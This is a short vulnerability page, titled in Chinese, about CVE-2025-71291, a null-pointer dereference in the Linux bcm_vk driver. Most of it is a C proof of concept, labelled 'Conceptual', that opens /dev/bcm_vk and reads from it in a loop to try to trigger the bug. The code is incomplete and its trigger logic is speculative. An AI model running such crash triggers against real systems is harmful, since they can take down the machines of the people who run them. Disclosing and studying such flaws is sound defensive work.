CVE-2025-71291 Linux内核空指针解引用漏洞

/* * PoC for CVE-2025-71291 (Conceptual) * This code attempts to trigger the null-pointer dereference * in bcm_vk_read() by interacting with the device node. * Requires physical/virtual presence of the bcm_vk device. */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #define DEVICE_PATH "/dev/bcm_vk" int main() { int fd; char buffer[1024]; ssize_t bytes_read; printf("[+] Attempting to open %s...\n", DEVICE_PATH); fd = open(DEVICE_PATH, O_RDONLY); if (fd < 0) { perror("[-] Failed to open device"); return 1; } printf("[+] Device opened. Attempting to read and trigger condition...\n"); // Loop to attempt triggering the race condition or specific state // where entry is NULL but rc is -EMSGSIZE inside the driver. while (1) { bytes_read = read(fd, buffer, sizeof(buffer)); if (bytes_read < 0) { if (errno == EMSGSIZE) { // This is the condition where the vulnerability is triggered printf("[!] Triggered EMSGSIZE condition, checking kernel status...\n"); } else { perror("[-] Read error"); break; } } // In a real exploit scenario, specific ioctls or preceding writes // might be needed to manipulate the driver state to make 'entry' NULL. usleep(10000); } close(fd); return 0; }